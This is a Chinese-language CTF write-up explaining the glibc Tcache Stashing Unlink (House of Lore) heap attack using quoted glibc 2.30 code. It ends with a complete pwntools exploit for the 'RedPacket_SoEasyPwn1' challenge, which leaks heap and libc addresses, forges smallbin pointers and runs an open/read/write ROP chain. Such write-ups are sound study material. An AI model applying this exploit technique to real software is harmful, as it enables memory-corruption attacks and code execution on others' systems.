House of Lore Attack

首先我们看一下glibc 2.30中的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

从源代码中我们可以看出,如果我们控制了一块small binbk指针,就可以向任意的位置写入一个main_arena附近的地址,在small bin中加入指定的堆块,进而在内存中分配一个指定的chunk。当前前提是我们需要绕过下面的检查

1
2
3
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))

这其中bck就是我们伪造的bk指针,因此我们只要在指定的位置写入一个堆内存地址(victim的地址),就可以绕过该检查。

从上面的代码中我们可以看到,在small bin分配之后,如果small bin链表中仍然存在堆块,并且对应的tcache list不为空的话,就会将small bin链表中所有的堆块放入到tcache中。当然要发生这种分配的方式必须可以越过tcache分配堆块,因为malloctcache中存在堆块的时候会首先在tcache中返回堆块,calloc则不经过tcache

注意此时加入tcache的部分没有进行安全检查。那么之后攻击方式与House of Lore Attack相同。但是这里需要注意的是tcache将所有的small bin加入tcache的特性

  • tcache中有一个空位,small bin中需要一个chunk。可以在指定地址(bk+0x10)中写入main_arena附近的地址,而且不用再指定地址+0x10处写入可写内存的地址

  • tcache中有两个空位,small bin中需要两个chunk。可以在指定地址中写入main_arena附近的地址,分配指定位置的chunk。但是需要构造下面的chunk

    Tcache%20Stashing%20Unlink%20Attack%20%E5%88%A9%E7%94%A8%2072c8c71da0e14498b4f5be4d6ad9861a/Untitled.png

    small bin中有两个chunk,我们需要将第一个chunkbk指针覆写为fake_chunk-0x10fake_chunk即我们想要分配到的内存地址。之后需要将fake_chunk+0x10的位置写入一个具有可写权限的内存地址,因为将会在此地址处写入main_arena附近的地址。那么之后申请一次0x90大小的堆块,就会将fake_chunk放入到tcache中,用malloc申请就可以得到该chunk

GeekPwn 2020 云靶场挑战赛热身赛 playthenew

该题目利用Tcache Stashing Unlink向指定位置写入了main_arena附近的地址,绕过程序的检查,从而向特定地址写入rop链,利用程序原有的函数调用执行rop

高校战疫网络安全分享赛 2020 twochunk

改题目利用Tcache Stashing Unlink,堆溢出,分配mmap_address处的内存,进行函数布局,利用程序原有的函数调用执行system

BUU 新春红包3

程序提供了四种功能add,delete,change,show,在删除的时候存在UAF漏洞。程序只提供特定大小的堆块分配0x10,0xf0,0x400,0x300。当用户输入是666的时候会提供一个栈溢出的函数,该函数的调用需要满足条件

Tcache%20Stashing%20Unlink%20Attack%20%E5%88%A9%E7%94%A8%2072c8c71da0e14498b4f5be4d6ad9861a/Untitled%201.png

我们可以通过Tcache Stashing Unlink来讲mmap_address+0x800更改为main_arena附近的地址就可以绕过该检查。

利用

由于存在UAF,因此libc基址泄露和堆地址泄露就很容易了。至于Tcache Stashing Unlink的构造可以利用0x400,0x300的大小分配得到0x90大小的两个small bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# encoding=utf-8
from pwn import *

file_path = "./RedPacket_SoEasyPwn1"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.29/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0

size_dirct = {0x10: "1", 0xf0: "2", 0x300: "3", 0x400: "4"}

def add(index, size, content="12"):
p.sendlineafter("Your input: ", "1")
p.sendlineafter("red packet idx: ", str(index))
p.sendlineafter("4.0x400): ", size_dirct.get(size))
p.sendafter("content: ", content)

def delete(index):
p.sendlineafter("Your input: ", "2")
p.sendlineafter("red packet idx: ", str(index))

def edit(index, content):
p.sendlineafter("Your input: ", "3")
p.sendlineafter("red packet idx: ", str(index))
p.sendafter("content: ", content)

def show(index):
p.sendlineafter("Your input: ", "4")
p.sendlineafter("red packet idx: ", str(index))

def stack_over(content):
p.sendlineafter("Your input: ", str(666))
p.sendlineafter("want to say?", content)

global_change_time = 0x555555558010
for i in range(6):
add(i, 0xf0)
delete(i)
for i in range(7):
add(i, 0x400)
delete(i)

log.info("tcache bin filled")
add(7, 0x400)
add(8, 0x400)
delete(7)
show(6)
heap_address = u64(p.recvline().strip().ljust(8, b"\\x00"))
log.success("heap address {}".format(hex(heap_address)))
show(7)
libc.address = u64(p.recv(6).ljust(8, b"\\x00")) - 96 - (libc.sym['__malloc_hook'] + 0x10)
log.success("libc address {}".format(hex(libc.address)))
add(9, 0x400) # 7
add(10, 0x400)
add(11, 0x400)
delete(7)
delete(10)
add(12, 0x300)
add(13, 0x300)
add(11, 0x400, "./flag\\x00")
gdb.attach(p, 'b*0x555555555910')

edit(7, cyclic(0x308) + p64(0x101) + p64(heap_address + 0x1340) + p64(heap_address - 0x2a60 - 0x10 + 0x800))

leave_ret = 0x00000000000329c3 + libc.address
p_rdi_r = 0x0000000000022186 + libc.address
p_rsi_r = 0x0000000000021d75 + libc.address
p_rdx_r = 0x0000000000001b9a + libc.address
p_rax_r = 0x00000000000a84e7 + libc.address
syscall_address = 0x00000000000aa015 + libc.address
flag_address = heap_address + 0x1860
row = flat([
p_rdi_r,
flag_address,
p_rsi_r, 0,
p_rax_r, 0,
libc.sym['open'],
p_rdi_r,
3,
p_rsi_r,
flag_address-0x200,
p_rdx_r,
0x100,
libc.sym['read'],
p_rdi_r,
1,
p_rsi_r,
flag_address-0x200,
p_rdx_r,
0x100,
libc.sym['write']
])
add(1, 0xf0, p64(0) + row)
stack_over(cyclic(0x80) + p64(heap_address + 0x1350) + p64(leave_ret))
p.interactive()